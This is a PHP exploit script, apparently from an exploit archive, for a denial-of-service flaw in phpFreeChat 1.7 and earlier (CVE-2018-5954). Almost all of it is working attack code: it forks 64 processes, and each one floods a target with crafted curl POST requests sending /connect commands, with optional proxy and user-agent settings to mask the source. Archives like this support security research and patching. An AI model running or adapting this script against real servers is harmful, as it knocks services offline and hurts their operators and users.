47 lines
No EOL
1.6 KiB
PHP
47 lines
No EOL
1.6 KiB
PHP
# Exploit Title: phpFreeChat 1.7 and earlier - Denial of Service
|
|
# Version: 1.7 and earlier
|
|
# Date: 21/01/2018
|
|
# Vendor Homepage: http://www.phpfreechat.net
|
|
# Software Link: http://www.phpfreechat.net/download
|
|
# Exploit Author: A. Pakbaz
|
|
# CVE : CVE-2018-5954
|
|
####################################################
|
|
<?php
|
|
$host="http://example.com/path/index.php"; //Vulnerable Host
|
|
$con_num=64; //Number of Connections
|
|
$proxy=''; //Proxy example http://127.0.0.1:8080
|
|
$user_agent=''; //User-Agent
|
|
$proxy=$proxy!='' ? "-x " . $proxy : '';
|
|
$user_agent=$user_agent!='' ? "-A " . $user_agent : '';
|
|
echo "##Vulnerability Discovered by A. Pakbaz\n##Exploit Author: A. Pakbaz\n";
|
|
echo "##Contact: \x70\x61\x6b\x62\x61\x7a\x40\x70\x72\x6f\x74\x6f\x6e\x6d\x61\x69\x6c\x2e\x63\x6f\x6d\n";
|
|
echo "##PGP key: \x45\x33\x35\x35\x35\x32\x34\x43\x34\x44\x37\x45\x31\x36\x43\x38\x46\x38\x34\x38\x35\x41\x36\x46\x35\x31\x32\x39\x30\x34\x46\x35\x45\x44\x42\x45\x33\x43\x41\x41\n";
|
|
function runf($id){
|
|
global $con_num;
|
|
global $host;
|
|
global $proxy;
|
|
global $user_agent;
|
|
$i=$id*1000000/$con_num;
|
|
$f=($id+1)*1000000/$con_num;
|
|
for($num=$i; $num<$f; $num++){
|
|
`curl --url '$host' -X POST -d "pfc_ajax=1&f=handleRequest&cmd=%2Fconnect%20a95806d727683c9c42694214fe"$num"%200%20%22"$num"%22" -N --stderr /dev/null --compressed $proxy $user_agent`;
|
|
echo ".";
|
|
}
|
|
}
|
|
function fmaker($pno){
|
|
global $con_num;
|
|
if($pno>1){
|
|
$pid=pcntl_fork();
|
|
if($pid<0){
|
|
echo "\nError! Reduce the number of connections\n";
|
|
}
|
|
elseif($pid)
|
|
fmaker($pno-1);
|
|
else
|
|
runf($con_num-$pno);
|
|
}
|
|
elseif($pno==1)
|
|
runf($con_num-1);
|
|
}
|
|
fmaker($con_num);
|
|
?>
|